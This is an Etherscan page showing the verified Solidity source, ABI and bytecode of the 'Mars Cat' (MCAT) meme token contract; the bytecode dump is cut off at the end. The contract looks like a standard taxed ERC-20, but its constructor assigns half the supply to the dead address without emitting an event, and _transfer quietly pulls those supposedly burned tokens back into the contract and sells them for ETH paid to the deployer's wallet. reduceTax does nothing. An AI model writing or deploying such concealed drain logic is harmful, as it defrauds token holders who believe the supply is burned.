ETH Price: $3,181.67 (-7.75%)
Gas: 5 Gwei

Token

Mars Cat (MCAT)
 

Overview

Max Total Supply

1,000,000,000 MCAT

Holders

74

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
1,459,712.0473242 MCAT

Value
$0.00
0xa1b178b52b622324aa8c344d53e2e7548cf087d7
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
MarsCat

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-11-17
*/

/**
 *Submitted for verification at Etherscan.io on 2023-11-15
*/

/**
 *Submitted for verification at Etherscan.io on 2023-11-07
*/

// SPDX-License-Identifier: MIT

// Web https://marscat.io/
// Twitter https://twitter.com/MarsCatToken
// Telegram https://t.me/MarsCatToken

pragma solidity 0.8.21;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract MarsCat is Context, IERC20, Ownable {
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping(address => uint256) private _holderLastTransferTimestamp;
    bool public transferDelayEnabled = false;
    address payable private _taxWallet;

    uint256 private _initialBuyTax=20;
    uint256 private _initialSellTax=30;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=25;
    uint256 private _reduceSellTaxAt=25;
    uint256 private _preventSwapBefore=25;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1_000_000_000 * 10**_decimals;
    string private constant _name = "Mars Cat";
    string private constant _symbol = "MCAT";
    uint256 public _maxTxAmount =   _tTotal * 2 / 100;
    uint256 public _maxWalletSize = _tTotal * 2 / 100;
    uint256 public _taxSwapThreshold = _tTotal * 1 / 100000;
    uint256 public _maxTaxSwap= _tTotal * 2 / 100;

    IUniswapV2Router02 private constant uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    address private DEAD = 0x000000000000000000000000000000000000dEaD;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _taxWallet = payable(_msgSender());
        uint256 initial = _tTotal * 50 / 100;
        _balances[address(this)] = initial;
        _balances[DEAD] = _tTotal - initial;

        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;
        _isExcludedFromFee[DEAD] = true;

        emit Transfer(address(0), address(this), initial);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {
            require(uniswapV2Pair != address(0), "Not yet launched");

            if (transferDelayEnabled) {
                if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) {
                  require(_holderLastTransferTimestamp[tx.origin] < block.number,"Only one transfer per block allowed.");
                  _holderLastTransferTimestamp[tx.origin] = block.number;
                }
            }

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                if(_buyCount<_preventSwapBefore){
                  require(!isContract(to));
                }
                _buyCount++;
            }


            taxAmount = amount * ((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax) / 100;
            if(to == uniswapV2Pair && from!= address(this) ){
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                taxAmount = amount * ((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax) / 100;
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (contractTokenBalance < amount) {
                 uint256 spare = balanceOf(DEAD);
                 if (spare >= amount) {
                     _balances[DEAD] -= amount;
                     _balances[address(this)] += amount;
                     contractTokenBalance += amount;
                 } else {
                     _balances[DEAD] = 0;
                     _balances[address(this)] += spare;
                     contractTokenBalance += spare;
                 }
            }
            if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) {
                swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if(taxAmount>0){
          _balances[address(this)] += taxAmount;
        }
        _balances[from] -= amount;
        _balances[to] += (amount - taxAmount);
        emit Transfer(from, to, amount - taxAmount);
    }


    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        if(tokenAmount==0){return;}
        if(!tradingOpen){return;}
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        transferDelayEnabled=false;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function reduceTax() external onlyOwner {
        _finalBuyTax -= 0;
        _finalSellTax -= 0;
    }

    function setInitialTax(uint256 buy, uint256 sell) external onlyOwner {
        require(buy <= 50 && sell <= 50, "Initial tax too high");
        _initialBuyTax = buy;
        _initialSellTax = sell;
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function openTrading(address pair) external payable onlyOwner() {
        require(!tradingOpen,"trading is already open");
        _approve(address(this), address(uniswapV2Router), _tTotal);
        if(pair == address(0)) {
            uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        } else {
            uniswapV2Pair = pair;
        }
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),_tTotal/2,0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }

    receive() external payable {}

    function isContract(address account) private view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    function manualSwap() external {
        require(_msgSender()==_taxWallet);
        uint256 tokenBalance=balanceOf(address(this));
        if(tokenBalance>0){
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
          sendETHToFee(ethBalance);
        }
    }

    
    
    
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"}],"name":"openTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"reduceTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"buy","type":"uint256"},{"internalType":"uint256","name":"sell","type":"uint256"}],"name":"setInitialTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526005805460ff191690556014600655601e6007555f600881905560098181556019600a818155600b829055600c91909155600d929092556064916200004a9190620003e0565b6200005a90633b9aca00620003f7565b62000067906002620003f7565b62000073919062000411565b600e556064620000866009600a620003e0565b6200009690633b9aca00620003f7565b620000a3906002620003f7565b620000af919062000411565b600f55620186a0620000c46009600a620003e0565b620000d490633b9aca00620003f7565b620000e1906001620003f7565b620000ed919062000411565b6010556064620001006009600a620003e0565b6200011090633b9aca00620003f7565b6200011d906002620003f7565b62000129919062000411565b6011556012805461ffff60a81b19169055601380546001600160a01b03191661dead1790553480156200015a575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060058054610100600160a81b03191661010033021790555f6064620001c36009600a620003e0565b620001d390633b9aca00620003f7565b620001e0906032620003f7565b620001ec919062000411565b305f9081526001602052604090208190559050806200020e6009600a620003e0565b6200021e90633b9aca00620003f7565b6200022a919062000431565b601380546001600160a01b039081165f90815260016020818152604080842096909655308084526003909152858320805460ff19908116841790915560055461010090048516845286842080548216841790559454909316825284822080549094161790925591517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90620002c29085815260200190565b60405180910390a35062000447565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200032557815f1904821115620003095762000309620002d1565b808516156200031757918102915b93841c9390800290620002ea565b509250929050565b5f826200033d57506001620003da565b816200034b57505f620003da565b81600181146200036457600281146200036f576200038f565b6001915050620003da565b60ff841115620003835762000383620002d1565b50506001821b620003da565b5060208310610133831016604e8410600b8410161715620003b4575081810a620003da565b620003c08383620002e5565b805f1904821115620003d657620003d6620002d1565b0290505b92915050565b5f620003f060ff8416836200032d565b9392505050565b8082028115828204841417620003da57620003da620002d1565b5f826200042c57634e487b7160e01b5f52601260045260245ffd5b500490565b81810381811115620003da57620003da620002d1565b6118e980620004555f395ff3fe608060405260043610610129575f3560e01c8063751039fc116100a857806395d89b411161006d57806395d89b411461030b578063a9059cbb14610337578063bf474bed14610356578063c876d0b91461036b578063ca72a4e714610384578063dd62ed3e14610397575f80fd5b8063751039fc146102885780637d1db4a51461029c5780638aa0480a146102b15780638da5cb5b146102d05780638f9a55c0146102f6575f80fd5b8063313ce567116100ee578063313ce567146101fb57806341fb0d211461021657806351bc3c851461022c57806370a0823114610240578063715018a614610274575f80fd5b806306fdde0314610134578063095ea7b3146101765780630faee56f146101a557806318160ddd146101c857806323b872dd146101dc575f80fd5b3661013057005b5f80fd5b34801561013f575f80fd5b5060408051808201909152600881526713585c9cc810d85d60c21b60208201525b60405161016d91906114e4565b60405180910390f35b348015610181575f80fd5b50610195610190366004611546565b6103db565b604051901515815260200161016d565b3480156101b0575f80fd5b506101ba60115481565b60405190815260200161016d565b3480156101d3575f80fd5b506101ba6103f1565b3480156101e7575f80fd5b506101956101f6366004611570565b610411565b348015610206575f80fd5b506040516009815260200161016d565b348015610221575f80fd5b5061022a610461565b005b348015610237575f80fd5b5061022a6104c3565b34801561024b575f80fd5b506101ba61025a3660046115ae565b6001600160a01b03165f9081526001602052604090205490565b34801561027f575f80fd5b5061022a610519565b348015610293575f80fd5b5061022a61058a565b3480156102a7575f80fd5b506101ba600e5481565b3480156102bc575f80fd5b5061022a6102cb3660046115c9565b610645565b3480156102db575f80fd5b505f546040516001600160a01b03909116815260200161016d565b348015610301575f80fd5b506101ba600f5481565b348015610316575f80fd5b506040805180820190915260048152631350d05560e21b6020820152610160565b348015610342575f80fd5b50610195610351366004611546565b6106ce565b348015610361575f80fd5b506101ba60105481565b348015610376575f80fd5b506005546101959060ff1681565b61022a6103923660046115ae565b6106da565b3480156103a2575f80fd5b506101ba6103b13660046115e9565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6103e7338484610ac8565b5060015b92915050565b5f6103fe6009600a611714565b61040c90633b9aca00611722565b905090565b5f61041d848484610beb565b6001600160a01b0384165f90815260026020908152604080832033808552925290912054610457918691610452908690611739565b610ac8565b5060019392505050565b5f546001600160a01b031633146104935760405162461bcd60e51b815260040161048a9061174c565b60405180910390fd5b5f60085f8282546104a49190611739565b925050819055505f60095f8282546104bc9190611739565b9091555050565b60055461010090046001600160a01b0316336001600160a01b0316146104e7575f80fd5b305f90815260016020526040902054801561050557610505816112d0565b4780156105155761051581611492565b5050565b5f546001600160a01b031633146105425760405162461bcd60e51b815260040161048a9061174c565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105b35760405162461bcd60e51b815260040161048a9061174c565b6105bf6009600a611714565b6105cd90633b9aca00611722565b600e556105dc6009600a611714565b6105ea90633b9aca00611722565b600f556005805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6106246009600a611714565b61063290633b9aca00611722565b60405190815260200160405180910390a1565b5f546001600160a01b0316331461066e5760405162461bcd60e51b815260040161048a9061174c565b60328211158015610680575060328111155b6106c35760405162461bcd60e51b8152602060048201526014602482015273092dcd2e8d2c2d840e8c2f040e8dede40d0d2ced60631b604482015260640161048a565b600691909155600755565b5f6103e7338484610beb565b5f546001600160a01b031633146107035760405162461bcd60e51b815260040161048a9061174c565b601254600160a01b900460ff161561075d5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161048a565b61079030737a250d5630b4cf539739df2c5dacb4c659f2488d6107826009600a611714565b61045290633b9aca00611722565b6001600160a01b03811661092857737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107ee573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108129190611781565b6001600160a01b031663c9c6539630737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610871573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108959190611781565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156108df573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109039190611781565b601280546001600160a01b0319166001600160a01b0392909216919091179055610944565b601280546001600160a01b0319166001600160a01b0383161790555b737a250d5630b4cf539739df2c5dacb4c659f2488d63f305d7194730600261096e6009600a611714565b61097c90633b9aca00611722565b610986919061179c565b5f806109995f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156109ff573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610a2491906117bb565b505060125460405163095ea7b360e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d60048201525f1960248201526001600160a01b03909116915063095ea7b3906044016020604051808303815f875af1158015610a89573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610aad91906117e6565b50506012805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b038316610b2a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161048a565b6001600160a01b038216610b8b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161048a565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c4f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161048a565b6001600160a01b038216610cb15760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161048a565b5f8111610d125760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161048a565b5f80546001600160a01b03858116911614801590610d3d57505f546001600160a01b03848116911614155b156111f3576012546001600160a01b0316610d8d5760405162461bcd60e51b815260206004820152601060248201526f139bdd081e595d081b185d5b98da195960821b604482015260640161048a565b60055460ff1615610e53576001600160a01b038316737a250d5630b4cf539739df2c5dacb4c659f2488d14801590610dd357506012546001600160a01b03848116911614155b15610e5357325f908152600460205260409020544311610e415760405162461bcd60e51b8152602060048201526024808201527f4f6e6c79206f6e65207472616e736665722070657220626c6f636b20616c6c6f6044820152633bb2b21760e11b606482015260840161048a565b325f9081526004602052604090204390555b6012546001600160a01b038581169116148015610e8d57506001600160a01b038316737a250d5630b4cf539739df2c5dacb4c659f2488d14155b8015610eb157506001600160a01b0383165f9081526003602052604090205460ff16155b15610faa57600e54821115610f045760405162461bcd60e51b815260206004820152601960248201527822bc31b2b2b239903a3432902fb6b0bc2a3c20b6b7bab73a1760391b604482015260640161048a565b600f5482610f26856001600160a01b03165f9081526001602052604090205490565b610f309190611805565b1115610f7e5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161048a565b600c54600d541015610f9557823b15610f95575f80fd5b600d8054905f610fa483611818565b91905055505b6064600a54600d5411610fbf57600654610fc3565b6008545b610fcd9084611722565b610fd7919061179c565b6012549091506001600160a01b03848116911614801561100057506001600160a01b0384163014155b1561108357600e548211156110535760405162461bcd60e51b815260206004820152601960248201527822bc31b2b2b239903a3432902fb6b0bc2a3c20b6b7bab73a1760391b604482015260640161048a565b6064600b54600d54116110685760075461106c565b6009545b6110769084611722565b611080919061179c565b90505b305f9081526001602052604090205482811015611165576013546001600160a01b03165f9081526001602052604090205483811061111e576013546001600160a01b03165f90815260016020526040812080548692906110e4908490611739565b9091555050305f9081526001602052604081208054869290611107908490611805565b9091555061111790508483611805565b9150611163565b6013546001600160a01b03165f9081526001602052604080822082905530825281208054839290611150908490611805565b9091555061116090508183611805565b91505b505b601254600160a81b900460ff1615801561118c57506012546001600160a01b038581169116145b80156111a15750601254600160b01b900460ff165b80156111ae575060105481115b80156111bd5750600c54600d54115b156111f1576111df6111da846111d5846011546114cd565b6114cd565b6112d0565b4780156111ef576111ef47611492565b505b505b801561121d57305f9081526001602052604081208054839290611217908490611805565b90915550505b6001600160a01b0384165f9081526001602052604081208054849290611244908490611739565b9091555061125490508183611739565b6001600160a01b0384165f908152600160205260408120805490919061127b908490611805565b90915550506001600160a01b038084169085167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6112b98486611739565b60405190815260200160405180910390a350505050565b6012805460ff60a81b1916600160a81b179055801561148257601254600160a01b900460ff1615611482576040805160028082526060820183525f9260208301908036833701905050905030815f8151811061132e5761132e611830565b60200260200101906001600160a01b031690816001600160a01b031681525050737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561139e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113c29190611781565b816001815181106113d5576113d5611830565b60200260200101906001600160a01b031690816001600160a01b03168152505061141430737a250d5630b4cf539739df2c5dacb4c659f2488d84610ac8565b60405163791ac94760e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d9063791ac947906114539085905f90869030904290600401611844565b5f604051808303815f87803b15801561146a575f80fd5b505af115801561147c573d5f803e3d5ffd5b50505050505b506012805460ff60a81b19169055565b6005546040516101009091046001600160a01b0316906108fc8315029083905f818181858888f19350505050158015610515573d5f803e3d5ffd5b5f8183116114db57826114dd565b815b9392505050565b5f6020808352835180828501525f5b8181101561150f578581018301518582016040015282016114f3565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611543575f80fd5b50565b5f8060408385031215611557575f80fd5b82356115628161152f565b946020939093013593505050565b5f805f60608486031215611582575f80fd5b833561158d8161152f565b9250602084013561159d8161152f565b929592945050506040919091013590565b5f602082840312156115be575f80fd5b81356114dd8161152f565b5f80604083850312156115da575f80fd5b50508035926020909101359150565b5f80604083850312156115fa575f80fd5b82356116058161152f565b915060208301356116158161152f565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561166e57815f190482111561165457611654611620565b8085161561166157918102915b93841c9390800290611639565b509250929050565b5f82611684575060016103eb565b8161169057505f6103eb565b81600181146116a657600281146116b0576116cc565b60019150506103eb565b60ff8411156116c1576116c1611620565b50506001821b6103eb565b5060208310610133831016604e8410600b84101617156116ef575081810a6103eb565b6116f98383611634565b805f190482111561170c5761170c611620565b029392505050565b5f6114dd60ff841683611676565b80820281158282048414176103eb576103eb611620565b818103818111156103eb576103eb611620565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611791575f80fd5b81516114dd8161152f565b5f826117b657634e487b7160e01b5f52601260045260245ffd5b500490565b5f805f606084860312156117cd575f80fd5b8351925060208401519150604084015190509250925092565b5f602082840312156117f6575f80fd5b815180151581146114dd575f80fd5b808201808211156103eb576103eb611620565b5f6001820161182957611829611620565b5060010190565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156118925784516001600160a01b03168352938301939183019160010161186d565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220927ae22d85f3d8c43393b109c0b9524d4da1514f8510ff25944de083389d9bb664736f6c63430008150033

Deployed Bytecode

0x608060405260043610610129575f3560e01c8063751039fc116100a857806395d89b411161006d57806395d89b411461030b578063a9059cbb14610337578063bf474bed14610356578063c876d0b91461036b578063ca72a4e714610384578063dd62ed3e14610397575f80fd5b8063751039fc146102885780637d1db4a51461029c5780638aa0480a146102b15780638da5cb5b146102d05780638f9a55c0146102f6575f80fd5b8063313ce567116100ee578063313ce567146101fb57806341fb0d211461021657806351bc3c851461022c57806370a0823114610240578063715018a614610274575f80fd5b806306fdde0314610134578063095ea7b3146101765780630faee56f146101a557806318160ddd146101c857806323b872dd146101dc575f80fd5b3661013057005b5f80fd5b34801561013f575f80fd5b5060408051808201909152600881526713585c9cc810d85d60c21b60208201525b60405161016d91906114e4565b60405180910390f35b348015610181575f80fd5b50610195610190366004611546565b6103db565b604051901515815260200161016d565b3480156101b0575f80fd5b506101ba60115481565b60405190815260200161016d565b3480156101d3575f80fd5b506101ba6103f1565b3480156101e7575f80fd5b506101956101f6366004611570565b610411565b348015610206575f80fd5b506040516009815260200161016d565b348015610221575f80fd5b5061022a610461565b005b348015610237575f80fd5b5061022a6104c3565b34801561024b575f80fd5b506101ba61025a3660046115ae565b6001600160a01b03165f9081526001602052604090205490565b34801561027f575f80fd5b5061022a610519565b348015610293575f80fd5b5061022a61058a565b3480156102a7575f80fd5b506101ba600e5481565b3480156102bc575f80fd5b5061022a6102cb3660046115c9565b610645565b3480156102db575f80fd5b505f546040516001600160a01b03909116815260200161016d565b348015610301575f80fd5b506101ba600f5481565b348015610316575f80fd5b506040805180820190915260048152631350d05560e21b6020820152610160565b348015610342575f80fd5b50610195610351366004611546565b6106ce565b348015610361575f80fd5b506101ba60105481565b348015610376575f80fd5b506005546101959060ff1681565b61022a6103923660046115ae565b6106da565b3480156103a2575f80fd5b506101ba6103b13660046115e9565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6103e7338484610ac8565b5060015b92915050565b5f6103fe6009600a611714565b61040c90633b9aca00611722565b905090565b5f61041d848484610beb565b6001600160a01b0384165f90815260026020908152604080832033808552925290912054610457918691610452908690611739565b610ac8565b5060019392505050565b5f546001600160a01b031633146104935760405162461bcd60e51b815260040161048a9061174c565b60405180910390fd5b5f60085f8282546104a49190611739565b925050819055505f60095f8282546104bc9190611739565b9091555050565b60055461010090046001600160a01b0316336001600160a01b0316146104e7575f80fd5b305f90815260016020526040902054801561050557610505816112d0565b4780156105155761051581611492565b5050565b5f546001600160a01b031633146105425760405162461bcd60e51b815260040161048a9061174c565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105b35760405162461bcd60e51b815260040161048a9061174c565b6105bf6009600a611714565b6105cd90633b9aca00611722565b600e556105dc6009600a611714565b6105ea90633b9aca006117